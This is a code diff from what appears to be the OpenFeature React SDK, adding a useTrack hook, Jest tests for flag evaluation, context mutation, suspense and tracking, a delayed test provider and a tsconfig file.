readonly errorCode: ErrorCode | undefined;
/**
* A message associated with the error.
*/
readonly errorMessage: string | undefined;
/**
* Indicates this flag is up-to-date and in sync with the source of truth.
* Specifically, indicates the evaluation did not default due to error, and the reason is neither {@link StandardResolutionReasons.STALE} or {@link StandardResolutionReasons.DISABLED}.
*/
readonly isAuthoritative: boolean;
/**
* The type of the value, as returned by "typeof" operator.
*/
readonly type: 'string' | 'number' | 'bigint' | 'boolean' | 'symbol' | 'undefined' | 'object' | 'function';
}

View File

@ -0,0 +1 @@
export * from './use-track';

View File

@ -0,0 +1,29 @@
import type { Tracking, TrackingEventDetails } from '@openfeature/web-sdk';
import { useCallback } from 'react';
import { useOpenFeatureClient } from '../provider';
export type Track = {
/**
* Context-aware tracking function for the parent `<OpenFeatureProvider/>`.
* Track a user action or application state, usually representing a business objective or outcome.
* @param trackingEventName an identifier for the event
* @param trackingEventDetails the details of the tracking event
*/
track: Tracking['track'];
};
/**
* Get a context-aware tracking function.
* @returns {Track} context-aware tracking
*/
export function useTrack(): Track {
const client = useOpenFeatureClient();
const track = useCallback((trackingEventName: string, trackingEventDetails?: TrackingEventDetails) => {
client.track(trackingEventName, trackingEventDetails);
}, []);
return {
track,
};
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,50 @@
import { isEqual } from '../src/internal/is-equal';
describe('isEqual', () => {
it('should return true for equal primitive values', () => {
expect(isEqual(5, 5)).toBe(true);
expect(isEqual('hello', 'hello')).toBe(true);
expect(isEqual(true, true)).toBe(true);
});
it('should return false for different primitive values', () => {
expect(isEqual(5, 10)).toBe(false);
expect(isEqual('hello', 'world')).toBe(false);
expect(isEqual(true, false)).toBe(false);
});
it('should return true for equal serializable objects', () => {
const obj1 = { name: 'John', age: 30 };
const obj2 = { name: 'John', age: 30 };
expect(isEqual(obj1, obj2)).toBe(true);
});
it('should return false for different serializable objects', () => {
const obj1 = { name: 'John', age: 30 };
const obj2 = { name: 'Jane', age: 25 };
expect(isEqual(obj1, obj2)).toBe(false);
});
it('should return true for equal deep objects', () => {
const obj1 = { name: 'John', age: 30, address: { city: 'New York', country: 'USA' } };
const obj2 = { name: 'John', age: 30, address: { city: 'New York', country: 'USA' } };
expect(isEqual(obj1, obj2)).toBe(true);
});
it('should return true for equal deep objects with properties in a different order', () => {
const obj1 = { name: 'John', age: 30, address: { city: 'New York', country: 'USA' } };
const obj2 = { address: { country: 'USA', city: 'New York' }, age: 30, name: 'John' };
expect(isEqual(obj1, obj2)).toBe(true);
});
it('should return true for equal arrays', () => {
const arr1 = [1, 2, 3];
const arr2 = [1, 2, 3];
expect(isEqual(arr1, arr2)).toBe(true);
});
it('should return false for different arrays', () => {
const arr1 = [1, 2, 3];
const arr2 = [3, 2, 1];
expect(isEqual(arr1, arr2)).toBe(false);
});
});

View File

@ -0,0 +1,47 @@
import { normalizeOptions } from '../src/internal/options';
describe('normalizeOptions', () => {
// we spread results from this function, so we never want to return null
describe('undefined options', () => {
it('should return empty object', () => {
const normalized = normalizeOptions();
expect(normalized).toEqual({});
});
});
// we spread results from this function, so we want to remove anything but explicit booleans
describe('undefined removal', () => {
it('should remove undefined props and maintain boolean props', () => {
const normalized = normalizeOptions({
suspendUntilReady: undefined,
suspendWhileReconciling: false,
updateOnConfigurationChanged: undefined,
updateOnContextChanged: true,
});
expect(normalized).not.toHaveProperty('suspendUntilReady');
expect(normalized).toHaveProperty('suspendWhileReconciling');
expect(normalized.suspendWhileReconciling).toEqual(false);
expect(normalized).not.toHaveProperty('updateOnConfigurationChanged');
expect(normalized).toHaveProperty('updateOnContextChanged');
expect(normalized.updateOnContextChanged).toEqual(true);
});
});
// we fallback the more specific suspense props (`suspendUntilReady` and `suspendWhileReconciling`) to `suspend`
describe('suspend fallback', () => {
it('should fallback to true suspend value', () => {
const normalized = normalizeOptions({
suspend: true,
});
expect(normalized.suspendUntilReady).toEqual(true);
expect(normalized.suspendWhileReconciling).toEqual(true);
});
it('should fallback to false suspend value', () => {
const normalized = normalizeOptions({
suspend: false,
});
expect(normalized.suspendUntilReady).toEqual(false);
expect(normalized.suspendWhileReconciling).toEqual(false);
});
});
});

View File

@ -0,0 +1,294 @@
import type { EvaluationContext} from '@openfeature/web-sdk';
import { InMemoryProvider, OpenFeature } from '@openfeature/web-sdk';
import '@testing-library/jest-dom'; // see: https://testing-library.com/docs/react-testing-library/setup
import { render, renderHook, screen, waitFor, fireEvent, act } from '@testing-library/react';
import * as React from 'react';
import {
OpenFeatureProvider,
useOpenFeatureClient,
useWhenProviderReady,
useContextMutator,
useStringFlagValue,
} from '../src';
import { TestingProvider } from './test.utils';
describe('OpenFeatureProvider', () => {
/**
* artificial delay for various async operations for our provider,
* multiples of it are used in assertions as well
*/
const DELAY = 100;
const SUSPENSE_ON = 'suspense';
const SUSPENSE_OFF = 'suspense';
const SUSPENSE_FLAG_KEY = 'delayed-flag';
const STATIC_FLAG_VALUE = 'hi';
const TARGETED_FLAG_VALUE = 'aloha';
const FALLBACK = 'fallback';
const suspendingProvider = () => {
return new TestingProvider(
{
[SUSPENSE_FLAG_KEY]: {
disabled: false,
variants: {
greeting: STATIC_FLAG_VALUE,
parting: 'bye',
both: TARGETED_FLAG_VALUE,
},
defaultVariant: 'greeting',
contextEvaluator: (context: EvaluationContext) => {
if (context.user == 'bob@flags.com') {
return 'both';
}
if (context.done === true) {
return 'parting';
}
return 'greeting';
},
},
},
DELAY,
); // delay init by 100ms
};
describe('useOpenFeatureClient', () => {
const DOMAIN = 'useOpenFeatureClient';
describe('client specified', () => {
it('should return client from provider', () => {
const client = OpenFeature.getClient(DOMAIN);
const wrapper = ({ children }: Parameters<typeof OpenFeatureProvider>[0]) => (
<OpenFeatureProvider client={client}>{children}</OpenFeatureProvider>
);
const { result } = renderHook(() => useOpenFeatureClient(), { wrapper });
expect(result.current).toEqual(client);
});
});
describe('domain specified', () => {
it('should return client with domain', () => {
const wrapper = ({ children }: Parameters<typeof OpenFeatureProvider>[0]) => (
<OpenFeatureProvider domain={DOMAIN}>{children}</OpenFeatureProvider>
);
const { result } = renderHook(() => useOpenFeatureClient(), { wrapper });
expect(result.current.metadata.domain).toEqual(DOMAIN);
});
});
});
describe('useWhenProviderReady', () => {
describe('suspendUntilReady=true (default)', () => {
it('should suspend until ready and then return provider status', async () => {
OpenFeature.setProvider(SUSPENSE_ON, suspendingProvider());
let renderedWhileNotReady = false;
function TestComponent() {
const isReady = useWhenProviderReady({ suspendUntilReady: true });
if (!isReady) {
renderedWhileNotReady = true;
}
return (
<>
<div>{isReady ? '👍' : '👎'}</div>
</>
);
}
render(
<OpenFeatureProvider domain={SUSPENSE_ON}>
<React.Suspense fallback={<div>{FALLBACK}</div>}>
<TestComponent></TestComponent>
</React.Suspense>
</OpenFeatureProvider>,
);
// should see fallback initially
expect(renderedWhileNotReady).toBe(false);
expect(screen.queryByText('👎')).not.toBeInTheDocument();
expect(screen.queryByText(FALLBACK)).toBeInTheDocument();
// eventually we should the value
await waitFor(() => expect(screen.queryByText('👍')).toBeVisible(), { timeout: DELAY * 2 });
});
});
describe('suspendUntilReady=false', () => {
function TestComponent() {
const isReady = useWhenProviderReady({ suspendUntilReady: false });
return (
<>
<div>{isReady ? '👍' : '👎'}</div>
</>
);
}
it('should not suspend, should return provider status', async () => {
OpenFeature.setProvider(SUSPENSE_OFF, suspendingProvider());
render(
<OpenFeatureProvider domain={SUSPENSE_OFF}>
<React.Suspense fallback={<div>{FALLBACK}</div>}>
<TestComponent></TestComponent>
</React.Suspense>
</OpenFeatureProvider>,
);
// should see falsy value initially
expect(screen.queryByText('👎')).toBeInTheDocument();
// eventually we should the value
await waitFor(() => expect(screen.queryByText('👍')).toBeInTheDocument(), { timeout: DELAY * 2 });
});
});
});
describe('useMutateContext', () => {
const MutateButton = () => {
const { setContext } = useContextMutator();
return <button onClick={() => setContext({ user: 'bob@flags.com' })}>Update Context</button>;
};
const TestComponent = ({ name }: { name: string }) => {
const flagValue = useStringFlagValue<'hi' | 'bye' | 'aloha'>(SUSPENSE_FLAG_KEY, 'hi');
return (
<div>
<MutateButton />
<div>{`${name} says ${flagValue}`}</div>
</div>
);
};
it('should update context when a domain is set', async () => {
const DOMAIN = 'mutate-context-tests';
OpenFeature.setProvider(DOMAIN, suspendingProvider());
render(
<OpenFeatureProvider domain={DOMAIN}>
<React.Suspense fallback={<div>{FALLBACK}</div>}>
<TestComponent name="Will" />
</React.Suspense>
</OpenFeatureProvider>,
);
await waitFor(() => {
expect(screen.getByText('Will says hi')).toBeInTheDocument();
});
act(() => {
fireEvent.click(screen.getByText('Update Context'));
});
await waitFor(
() => {
expect(screen.getByText('Will says aloha')).toBeInTheDocument();
},
{ timeout: DELAY * 4 },
);
});
it('should update nested contexts', async () => {
const DOMAIN1 = 'Wills Domain';
const DOMAIN2 = 'Todds Domain';
OpenFeature.setProvider(DOMAIN1, suspendingProvider());
OpenFeature.setProvider(DOMAIN2, suspendingProvider());
render(
<OpenFeatureProvider domain={DOMAIN1}>
<React.Suspense fallback={<div>{FALLBACK}</div>}>
<TestComponent name="Will" />
<OpenFeatureProvider domain={DOMAIN2}>
<React.Suspense fallback={<div>{FALLBACK}</div>}>
<TestComponent name="Todd" />
</React.Suspense>
</OpenFeatureProvider>
</React.Suspense>
</OpenFeatureProvider>,
);
await waitFor(() => {
expect(screen.getByText('Todd says hi')).toBeInTheDocument();
});
act(() => {
// Click the Update context button in Todds domain
fireEvent.click(screen.getAllByText('Update Context')[1]);
});
await waitFor(
() => {
expect(screen.getByText('Todd says aloha')).toBeInTheDocument();
},
{ timeout: DELAY * 4 },
);
await waitFor(
() => {
expect(screen.getByText('Will says hi')).toBeInTheDocument();
},
{ timeout: DELAY * 4 },
);
});
it('should update nested global contexts', async () => {
const DOMAIN1 = 'Wills Domain';
OpenFeature.setProvider(DOMAIN1, suspendingProvider());
OpenFeature.setProvider(new InMemoryProvider({
globalFlagsHere: {
defaultVariant: 'a',
variants: {
a: 'Smile',
b: 'Frown',
},
disabled: false,
contextEvaluator: (ctx: EvaluationContext) => {
if (ctx.user === 'bob@flags.com') {
return 'b';
}
return 'a';
},
}
}));
const GlobalComponent = ({ name }: { name: string }) => {
const flagValue = useStringFlagValue<'b' | 'a'>('globalFlagsHere', 'a');
return (
<div>
<MutateButton />
<div>{`${name} likes to ${flagValue}`}</div>
</div>
);
};
render(
<OpenFeatureProvider domain={DOMAIN1}>
<React.Suspense fallback={<div>{FALLBACK}</div>}>
<TestComponent name="Will" />
<OpenFeatureProvider>
<React.Suspense fallback={<div>{FALLBACK}</div>}>
<GlobalComponent name="Todd" />
</React.Suspense>
</OpenFeatureProvider>
</React.Suspense>
</OpenFeatureProvider>,
);
await waitFor(() => {
expect(screen.getByText('Todd likes to Smile')).toBeInTheDocument();
});
act(() => {
// Click the Update context button in Todds domain
fireEvent.click(screen.getAllByText('Update Context')[1]);
});
await waitFor(
() => {
expect(screen.getByText('Todd likes to Frown')).toBeInTheDocument();
},
{ timeout: DELAY * 4 },
);
expect(screen.getByText('Will says aloha')).toBeInTheDocument();
});
});
});

View File

@ -0,0 +1,131 @@
import type { Provider, ResolutionDetails } from '@openfeature/web-sdk';
import '@testing-library/jest-dom'; // see: https://testing-library.com/docs/react-testing-library/setup
import { render, screen } from '@testing-library/react';
import * as React from 'react';
import { OpenFeatureTestProvider, useFlag } from '../src';
const FLAG_KEY = 'thumbs';
function TestComponent(props: { suspend: boolean }) {
const { value: thumbs, reason } = useFlag(FLAG_KEY, false, { suspend: props.suspend });
return (
<>
<div>{thumbs ? '👍' : '👎'}</div>
<div>reason: {`${reason}`}</div>
</>
);
}
describe('OpenFeatureTestProvider', () => {
describe('no args', () => {
it('renders default', async () => {
render(
<OpenFeatureTestProvider>
<TestComponent suspend={false} />
</OpenFeatureTestProvider>,
);
expect(screen.getByText('👎')).toBeInTheDocument();
});
});
describe('flagValueMap set', () => {
it('renders value from map', async () => {
render(
<OpenFeatureTestProvider flagValueMap={{ [FLAG_KEY]: true }}>
<TestComponent suspend={false} />
</OpenFeatureTestProvider>,
);
expect(screen.getByText('👍')).toBeInTheDocument();
});
});
describe('delay and flagValueMap set', () => {
it('renders value after delay', async () => {
const delay = 100;
render(
<OpenFeatureTestProvider delayMs={delay} flagValueMap={{ [FLAG_KEY]: true }}>
<TestComponent suspend={false} />
</OpenFeatureTestProvider>,
);
// should only be resolved after delay
expect(screen.getByText('👎')).toBeInTheDocument();
await new Promise((resolve) => setTimeout(resolve, delay * 4));
expect(screen.getByText('👍')).toBeInTheDocument();
});
});
describe('provider set', () => {
const reason = 'MY_REASON';
it('renders provider-returned value', async () => {
class MyTestProvider implements Partial<Provider> {
resolveBooleanEvaluation(): ResolutionDetails<boolean> {
return {
value: true,
variant: 'test-variant',
reason,
};
}
}
render(
<OpenFeatureTestProvider provider={new MyTestProvider()}>
<TestComponent suspend={false} />
</OpenFeatureTestProvider>,
);
expect(screen.getByText('👍')).toBeInTheDocument();
expect(screen.getByText(new RegExp(`${reason}`))).toBeInTheDocument();
});
it('falls back to no-op for missing methods', async () => {
class MyEmptyProvider implements Partial<Provider> {}
render(
<OpenFeatureTestProvider provider={new MyEmptyProvider()}>
<TestComponent suspend={false} />
</OpenFeatureTestProvider>,
);
expect(screen.getByText('👎')).toBeInTheDocument();
expect(screen.getByText(/No-op/)).toBeInTheDocument();
});
});
describe('component under test suspends', () => {
describe('delay non-zero', () => {
it('renders fallback then value after delay', async () => {
const delay = 100;
render(
<OpenFeatureTestProvider delayMs={delay} flagValueMap={{ [FLAG_KEY]: true }}>
<React.Suspense fallback={<>🕒</>}>
<TestComponent suspend={true} />
</React.Suspense>
</OpenFeatureTestProvider>,
);
// should initially show fallback, then resolve
expect(screen.getByText('🕒')).toBeInTheDocument();
await new Promise((resolve) => setTimeout(resolve, delay * 4));
expect(screen.getByText('👍')).toBeInTheDocument();
});
});
describe('delay zero', () => {
it('renders value immediately', async () => {
render(
<OpenFeatureTestProvider delayMs={0} flagValueMap={{ [FLAG_KEY]: true }}>
<React.Suspense fallback={<>🕒</>}>
<TestComponent suspend={true} />
</React.Suspense>
</OpenFeatureTestProvider>,
);
// should resolve immediately since delay is falsy
expect(screen.getByText('👍')).toBeInTheDocument();
});
});
});
});

View File

@ -0,0 +1,20 @@
import { InMemoryProvider } from '@openfeature/web-sdk';
export class TestingProvider extends InMemoryProvider {
constructor(
flagConfiguration: ConstructorParameters<typeof InMemoryProvider>[0],
private delay: number,
) {
super(flagConfiguration);
}
// artificially delay our init (delaying PROVIDER_READY event)
async initialize(): Promise<void> {
await new Promise((resolve) => setTimeout(resolve, this.delay));
}
// artificially delay context changes
async onContextChange(): Promise<void> {
await new Promise((resolve) => setTimeout(resolve, this.delay));
}
}

View File

@ -0,0 +1,88 @@
import { jest } from '@jest/globals';
import '@testing-library/jest-dom'; // see: https://testing-library.com/docs/react-testing-library/setup
import { render } from '@testing-library/react';
import * as React from 'react';
import type { Provider, TrackingEventDetails } from '../src';
import {
OpenFeature,
OpenFeatureProvider,
useTrack
} from '../src';
describe('tracking', () => {
const eventName = 'test-tracking-event';
const trackingValue = 1234;
const trackingDetails: TrackingEventDetails = {
value: trackingValue,
};
const domain = 'someDomain';
const mockProvider = () => {
const mockProvider: Provider = {
metadata: {
name: 'mock',
},
track: jest.fn((): void => {
return;
}),
} as unknown as Provider;
return mockProvider;
};
describe('no domain', () => {
it('should call default provider', async () => {
const provider = mockProvider();
await OpenFeature.setProviderAndWait(provider);
function Component() {
const { track } = useTrack();
track(eventName, trackingDetails);
return <div></div>;
}
render(
<OpenFeatureProvider suspend={false} >
<Component></Component>
</OpenFeatureProvider>,
);
expect(provider.track).toHaveBeenCalledWith(
eventName,
expect.anything(),
expect.objectContaining({ value: trackingValue }),
);
});
});
describe('domain set', () => {
it('should call provider for domain', async () => {
const domainProvider = mockProvider();
await OpenFeature.setProviderAndWait(domain, domainProvider);
function Component() {
const { track } = useTrack();
track(eventName, trackingDetails);
return <div></div>;
}
render(
<OpenFeatureProvider domain={domain} suspend={false} >
<Component></Component>
</OpenFeatureProvider>,
);
expect(domainProvider.track).toHaveBeenCalledWith(
eventName,
expect.anything(),
expect.objectContaining({ value: trackingValue }),
);
});
});
});

View File

@ -0,0 +1,107 @@
{
"compilerOptions": {
"jsx": "react",
/* Visit https://aka.ms/tsconfig.json to read more about this file */
/* Projects */
// "incremental": true, /* Enable incremental compilation */
// "composite": true, /* Enable constraints that allow a TypeScript project to be used with project references. */
// "tsBuildInfoFile": "./", /* Specify the folder for .tsbuildinfo incremental compilation files. */
// "disableSourceOfProjectReferenceRedirect": true, /* Disable preferring source files instead of declaration files when referencing composite projects */
// "disableSolutionSearching": true, /* Opt a project out of multi-project reference checking when editing. */
// "disableReferencedProjectLoad": true, /* Reduce the number of projects loaded automatically by TypeScript. */
/* Language and Environment */
"target": "ES2015", /* Set the JavaScript language version for emitted JavaScript and include compatible library declarations. */
"lib": [
"ES2015",
"DOM"
], /* Specify a set of bundled library declaration files that describe the target runtime environment. */
// "jsx": "preserve", /* Specify what JSX code is generated. */
// "experimentalDecorators": true, /* Enable experimental support for TC39 stage 2 draft decorators. */
// "emitDecoratorMetadata": true, /* Emit design-type metadata for decorated declarations in source files. */
// "jsxFactory": "", /* Specify the JSX factory function used when targeting React JSX emit, e.g. 'React.createElement' or 'h' */
// "jsxFragmentFactory": "", /* Specify the JSX Fragment reference used for fragments when targeting React JSX emit e.g. 'React.Fragment' or 'Fragment'. */
// "jsxImportSource": "", /* Specify module specifier used to import the JSX factory functions when using `jsx: react-jsx*`.` */
// "reactNamespace": "", /* Specify the object invoked for `createElement`. This only applies when targeting `react` JSX emit. */
// "noLib": true, /* Disable including any library files, including the default lib.d.ts. */
// "useDefineForClassFields": true, /* Emit ECMAScript-standard-compliant class fields. */
/* Modules */
"module": "ES2015", /* Specify what module code is generated. */
// "rootDir": "./", /* Specify the root folder within your source files. */
"moduleResolution": "node", /* Specify how TypeScript looks up a file from a given module specifier. */
// "baseUrl": "./", /* Specify the base directory to resolve non-relative module names. */
"paths": {
"@openfeature/core": [ "../shared/src" ],
"@openfeature/web-sdk": [ "../web/src" ]
}, /* Specify a set of entries that re-map imports to additional lookup locations. */
// "rootDirs": [], /* Allow multiple folders to be treated as one when resolving modules. */
// "typeRoots": [], /* Specify multiple folders that act like `./node_modules/@types`. */
// "types": [], /* Specify type package names to be included without being referenced in a source file. */
// "allowUmdGlobalAccess": true, /* Allow accessing UMD globals from modules. */
// "resolveJsonModule": true, /* Enable importing .json files */
// "noResolve": true, /* Disallow `import`s, `require`s or `<reference>`s from expanding the number of files TypeScript should add to a project. */
/* JavaScript Support */
// "allowJs": true, /* Allow JavaScript files to be a part of your program. Use the `checkJS` option to get errors from these files. */
// "checkJs": true, /* Enable error reporting in type-checked JavaScript files. */
// "maxNodeModuleJsDepth": 1, /* Specify the maximum folder depth used for checking JavaScript files from `node_modules`. Only applicable with `allowJs`. */
/* Emit */
"declaration": true, /* Generate .d.ts files from TypeScript and JavaScript files in your project. */
// "declarationMap": true, /* Create sourcemaps for d.ts files. */
// "emitDeclarationOnly": true, /* Only output d.ts files and not JavaScript files. */
// "sourceMap": true, /* Create source map files for emitted JavaScript files. */
// "outFile": "./", /* Specify a file that bundles all outputs into one JavaScript file. If `declaration` is true, also designates a file that bundles all .d.ts output. */
"outDir": "./dist/esm", /* Specify an output folder for all emitted files. */
// "removeComments": true, /* Disable emitting comments. */
// "noEmit": true, /* Disable emitting files from a compilation. */
// "importHelpers": true, /* Allow importing helper functions from tslib once per project, instead of including them per-file. */
// "importsNotUsedAsValues": "remove", /* Specify emit/checking behavior for imports that are only used for types */
// "downlevelIteration": true, /* Emit more compliant, but verbose and less performant JavaScript for iteration. */
// "sourceRoot": "", /* Specify the root path for debuggers to find the reference source code. */
// "mapRoot": "", /* Specify the location where debugger should locate map files instead of generated locations. */
// "inlineSourceMap": true, /* Include sourcemap files inside the emitted JavaScript. */
// "inlineSources": true, /* Include source code in the sourcemaps inside the emitted JavaScript. */
// "emitBOM": true, /* Emit a UTF-8 Byte Order Mark (BOM) in the beginning of output files. */
// "newLine": "crlf", /* Set the newline character for emitting files. */
"stripInternal": true, /* Disable emitting declarations that have `@internal` in their JSDoc comments. */
// "noEmitHelpers": true, /* Disable generating custom helper functions like `__extends` in compiled output. */
// "noEmitOnError": true, /* Disable emitting files if any type checking errors are reported. */
// "preserveConstEnums": true, /* Disable erasing `const enum` declarations in generated code. */
"declarationDir": "./dist/types", /* Specify the output directory for generated declaration files. */
// "preserveValueImports": true, /* Preserve unused imported values in the JavaScript output that would otherwise be removed. */
/* Interop Constraints */
// "isolatedModules": true, /* Ensure that each file can be safely transpiled without relying on other imports. */
// "allowSyntheticDefaultImports": true, /* Allow 'import x from y' when a module doesn't have a default export. */
"esModuleInterop": true, /* Emit additional JavaScript to ease support for importing CommonJS modules. This enables `allowSyntheticDefaultImports` for type compatibility. */
// "preserveSymlinks": true, /* Disable resolving symlinks to their realpath. This correlates to the same flag in node. */
"forceConsistentCasingInFileNames": true, /* Ensure that casing is correct in imports. */
/* Type Checking */
"strict": true, /* Enable all strict type-checking options. */
// "noImplicitAny": true, /* Enable error reporting for expressions and declarations with an implied `any` type.. */
// "strictNullChecks": true, /* When type checking, take into account `null` and `undefined`. */
// "strictFunctionTypes": true, /* When assigning functions, check to ensure parameters and the return values are subtype-compatible. */
// "strictBindCallApply": true, /* Check that the arguments for `bind`, `call`, and `apply` methods match the original function. */
// "strictPropertyInitialization": true, /* Check for class properties that are declared but not set in the constructor. */
// "noImplicitThis": true, /* Enable error reporting when `this` is given the type `any`. */
// "useUnknownInCatchVariables": true, /* Type catch clause variables as 'unknown' instead of 'any'. */
// "alwaysStrict": true, /* Ensure 'use strict' is always emitted. */
// "noUnusedLocals": true, /* Enable error reporting when a local variables aren't read. */
// "noUnusedParameters": true, /* Raise an error when a function parameter isn't read */
// "exactOptionalPropertyTypes": true, /* Interpret optional property types as written, rather than adding 'undefined'. */
// "noImplicitReturns": true, /* Enable error reporting for codepaths that do not explicitly return in a function. */
// "noFallthroughCasesInSwitch": true, /* Enable error reporting for fallthrough cases in switch statements. */
// "noUncheckedIndexedAccess": true, /* Include 'undefined' in index signature results */
// "noImplicitOverride": true, /* Ensure overriding members in derived classes are marked with an override modifier. */
// "noPropertyAccessFromIndexSignature": true, /* Enforces using indexed accessors for keys declared using an indexed type */
// "allowUnusedLabels": true, /* Disable error reporting for unused labels. */
// "allowUnreachableCode": true, /* Disable error reporting for unreachable code. */
/* Completeness */
// "skipDefaultLibCheck": true, /* Skip type checking .d.ts files that are included with TypeScript. */
"skipLibCheck": true /* Skip type checking all .d.ts files. */
},
"include": [
"./src/**/*"
],
"exclude": [
"node_modules",
"**/*.test.js"
]
}

Some files were not shown because too many files have changed in this diff Show More